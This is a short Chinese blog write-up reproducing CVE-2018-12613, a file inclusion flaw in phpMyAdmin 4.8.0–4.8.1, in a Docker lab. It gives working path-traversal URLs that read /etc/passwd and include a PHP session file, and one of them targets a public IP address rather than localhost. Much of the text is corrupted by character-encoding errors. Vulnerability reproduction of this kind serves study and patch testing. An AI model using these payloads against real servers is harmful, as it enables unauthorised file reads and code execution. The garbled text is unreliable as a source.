漏洞描述

? 攻擊者利用發(fā)現(xiàn)在服務(wù)器上包含（查看和潛在執(zhí)行）文件的漏洞。該漏洞來自一部分代碼，其中頁(yè)面在phpMyAdmin中被重定向和加載，以及對(duì)白名單頁(yè)面進(jìn)行不正確的測(cè)試。 攻擊者必須經(jīng)過身份驗(yàn)證，但在這些情況下除外：

• $ cfg [‘AllowArbitraryServer’] = true：攻擊者可以指定他/她已經(jīng)控制的任何主機(jī)，并在phpMyAdmin上執(zhí)行任意代碼；
• $ cfg [‘ServerDefault’] = 0：這會(huì)繞過登錄并在沒有任何身份驗(yàn)證的情況下運(yùn)行易受攻擊的代碼。

漏洞影響范圍

? phpMyAdmin 4.8.0和4.8.1

啟動(dòng)靶場(chǎng)

docker-compose up -d

執(zhí)行URL

http://127.0.0.1:8080/index.php?target=db_sql.php?/../../../../../../../../../etc/passwd

漏洞存在

在SQL下執(zhí)行以下命令查看數(shù)據(jù)庫(kù)位置

show global variables like "%datadir%"

查看sessionid后拼接并包含session

http://119.91.217.168:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_0c6795deaf15278c005fe2bc8b6114eb

總結(jié)

以上是生活随笔為你收集整理的phpmyadmin 4.8.1 Remote File Inclusion（CVE-2018-12613）远程文件包含漏洞复现的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。